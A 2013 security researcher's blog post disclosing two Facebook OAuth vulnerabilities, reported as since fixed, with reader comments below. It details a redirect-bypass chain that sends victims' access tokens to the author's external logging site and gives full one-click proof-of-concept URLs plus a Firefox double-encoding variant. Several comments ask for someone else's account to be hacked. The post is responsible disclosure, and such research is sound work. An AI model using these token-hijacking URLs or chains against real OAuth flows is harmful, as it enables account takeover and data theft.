29 March 2013

Category: Hacks
29 March 2013,
 9

 

This post is the second one I’ve done in regard to Facebook OAuth Vulnerabilities.

But, just so everything’s clear from the start, no apps need to be installed on the victim’s account. Even if the victim never allowed a single application on their Facebook account, it’s still possible to gain access on the account with the use of the Facebook Messenger app_id. This bug works on virtually any browser.

In the Facebook Messenger app_id, there’s also a special regex protection (app_id=220764691281998), but I was able to bypass it.

Bug 1:

This bug was reported on 6 March 2013 and the Facebook Security Team fixed it right away.

On 26 February 2013, more OAuth bugs were reported that the Facebook Security Tem fixed quickly.

The Facebook OAuth Double URL encoding on Firefox browsers was reported on 6 February 2013 and fixed very quickly.

Details:

After I discovered the first OAuth Vulnerability http://www.nirgoldshlager.com/2013/02/how-i-hacked-facebook-oauth-to-get-full.html, the Facebook Security Team tried to protect OAuth Token Hijacking attacks with the use of Regex Protection (%23xxx!,%23/xxx,/)

They rejected on hash sign request in “redirect_uri, next parameter” (next=%23/xxxx,next=%23xxx!) to thwart any OAuth Attacks.

However, instead of actually avoiding any attacks, Facebook allowed for a two-hash or multiple-hash sign request in “redirect_uri, next parameter” (next=%23/xxx/%23/xxx). This is largely because no one considered that you could exploit Facebook Oauth with a multiple-hash sign request.

strange-albert-einstein

So, is it possible to exploit OAuth with a two-hash sign request (%23/x/%23/xxxx)?

Yes, you definitely can.

I found that the redirection exhibits strange behavior when someone uses a multiple-hash sign request on Facebook.com

Example of a Multiple-Hash Sign Request:

facebook.com/#/x/#/messages

Redirects to:

http://facebook.com/x/#/messages/

And:

http://facebook.com/x/#/messages/

Redirects to:

http://facebook.com/messages/

This is pretty simple, but kind of amazing.

So, now we know that it’s possible to use a multiple-hash sign request (#/xxx/#/xxx) in our “redirect_uri, next parameter” in order to get past the one-hash sign request (#/xx) regex protection in Facebook OAuth (next=http://facebook.com/#/xxx).

multiplehashsignrequest

Even so, a little bit more is required in order to exploit the OAuth Bug. One thing I discovered was that the Facebook OAuth rejects unauthorized subdomains in “redirect_uri, next parameter.”

For instance:

Facebook only permits subdomains linked to the Facebook Mobile Version.

These include:

touch.facebook.com

m.facebook.com

0.facebook.com

At the same time, Facebook rejects any unknown subdomains like:

aaa.facebook.com

bbb.facebook.com

It also rejects main domains like:

facebook.com

apps.facebook.com

Again, this is bad news because, none of Facebook’s mobile versions (touch, m, 0) exhibit multiple-hash sign behavior in the request.

For Example:

https://touch.facebook.com/#/xx/#!messages

https://touch.facebook.com/#!/xx/#!/messages

This request will be invalid and won’t redirect us to the desired messages screen. Thus, we need to work with a domain that’s the same as Facebook’s official domain (facebook.com). This domain needs to exploit the peculiar redirection behavior with the multiple-hash sign request (#/xx/#/xx) at facebook.com. But, at first glance, Facebook appears to reject any subdomain that is not an authorized mobile subdomain (like touch.facebook.com, etc.).

51514_houston-we-have-a-problem

One way I found to bypass that protection is by using Facebook itself as a subdomain (that is, facebook.facebook.com). Sometimes, the answer can be right in front of you.

But, some other issues can still present themselves.

At this point, I should be able to access the files and directories in facebook.com by using the “redirect_uri, next parameter.” But, I can’t access my app that redirects the victims to the external website (files.nirgoldshlager.com) in order to save the access_token of the victim. This is because of the “malicious” app found at touch.facebok.com/apps/xxx and apps.facebook.com/apps/xxxx.

I came up with a few ways to take advantage of this situation.

  1. Make a page tab in a Facebook page that redirects to the external website (files.nirgoldshlager.com).
  2. Attempt to access my app directly from the facebook.com domain.
  3. Locate a site redirection vulnerability in the facebook.com domain.

First, I attempted to use my App or Page tab in the “redirect_uri, next parameter.”

For example:

(My “Malicious” App—located in facebook.com):

https://facebook.com/apps/application.php?id=314021278671363B.

(Page Tab that redirects to external website—located in facebook.com)

https://www.facebook.com/Goldshlager?v=app_185356844859770

Again, we encounter some bad news because I am not able to use these methods. There is simply too much redirection process for this attack. The Access_token of the victim won’t be sent to the external site even after 3 redirection requests in GET URL.

The thought then occurred to me that perhaps there is some way to redirect the victim right to my app (touch.facebook.com/apps/myapp). This would effectively limit the redirection process to three times.

So, I located a file called l.php in facebook.com. Many people are familiar with this file because it’s responsible for redirecting individuals to external websites. With this, Facebook provides a warning message which asks the user to confirm prior to redirection.

Thus, it seems like I am at a loss again.

But, I found that if I use 5 byte prior to the external website in l.php, it’s possible to bypass the warning message when redirecting the victim to facebook.com subdomains.

For instance:

Warning message:

https://www.facebook.com/l/;touch.facebook.com/apps/sdfsdsdsgs

Bypass warning message by using 5 byte which then redirects the user to touch.facebook.com subdomain:

https://www.facebook.com/l/goldy;touch.facebook.com/apps/sdfsdsdsgs

 

Now we can combine all of these methods to fully bypass Facebook OAuth/

Exploit Summary

 

1. Utilizing facebook.facebook.com subdomain bypasses subdomain regex protection in OAuth (facebook.facebook.com)

2. Take advantage of the strange redirection behavior in facebook.com domain with multiple-hash signs: (https://facebook.facebook.com/#/x/#/l/ggggg;touch.facebook.com/apps/sdfsdsdsgs).

3. Get past the warning message in l.php with 5 byte (https://www.facebook.com/l/ggggg;touch.facebook.com)

4. Redirect the victim to external websites located within files.nirgoldshlager.com through my Facebook app in order to save the victim’s access_token in a log file.

 

Final PoC One Click (Works on every browser, Can bypass 2-STEP verification, the access token does not expire until the victim changes his password):

 

https://www.facebook.com/connect/uiserver.php?app_id=220764691281998&next=https://facebook.facebook.com/%23/x/%23/l/ggggg%3btouch.facebook.com/apps/sdfsdsdsgs%23&display=page&fbconnect=1&method=permissions.request&response_type=token

 

Full description of permission for Facebook Messenger Access Token:

 

ads_management  create_event create_note email export_stream  manage_friendlists  manage_groups manage_notifications manage_pages  offline_access  photo_upload publish_actions publish_checkins  publish_stream  read_friendlists read_insights read_mailbox  read_page_mailboxes  read_requests read_stream rsvp_event share_item sms  status_update  video_upload xmpp_login

gameover

Bug 2.

firefox1

 

This particular bug was remedied a few weeks ago. I was looking for something unique for Facebook users within the contexts of the Firefox browser.

I discovered that an attacker can encode their payload with Double URL Encoding (%25xx) to attack Facebook users within Firefox and still bypass Facebook OAuth regex protection. This effectively sidesteps the hash sign regex protection in touch.facebook.com, facebook.com, x.facebook.com, and so on.

PoC:

https://www.facebook.com/dialog/permissions.request?app_id=220764691281998&display=page&next=https%3A%2F%2Ftouch.facebook.com%2F%2523%2521%2Fapps%2Ftestestestte%2F&response_type=token&perms=email&fbconnect=1

 

Also, if you’d like to use OAuth 2.0 on your own website, you can take a look at Egor Homakov (@homakov)’s post at http://homakov.blogspot.co.il/2013/03/redirecturi-is-achilles-heel-of-oauth.html. This post illustrates how exactly to repair these vulnerabilities in OAuth 2.0.

Be sure to read the risks in relation to OAuth 2.0 prior to using it on your own site.

Also please read the risks regarding OAuth 2.0 before you use it in your own site

By @Nirgoldshlager

9 responses on “How I Hacked Any Facebook Account…Again!

  1. [...] is well known for his work testing the Facebook platform. In March he published information on a similar OAuth hack that would divulge Facebook user [...]

  2. Rajanshu Ujjwal says:

    the eXperience had been really Amazing…………

  3. Shreyhx says:

    Wow Man ! You are awesome… !

  4. donny says:

    Nice Post. Keep it up.
    Click Here

  5. vx says:

    Could you gain access for me to two accounts on fb? I know you must hear this all the time, but would greatly appreciate

  6. Moses says:

    Please help me hack one Facebook account. I shall pay

  7. Jacky says:

    can someone hack a facebook for me?

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>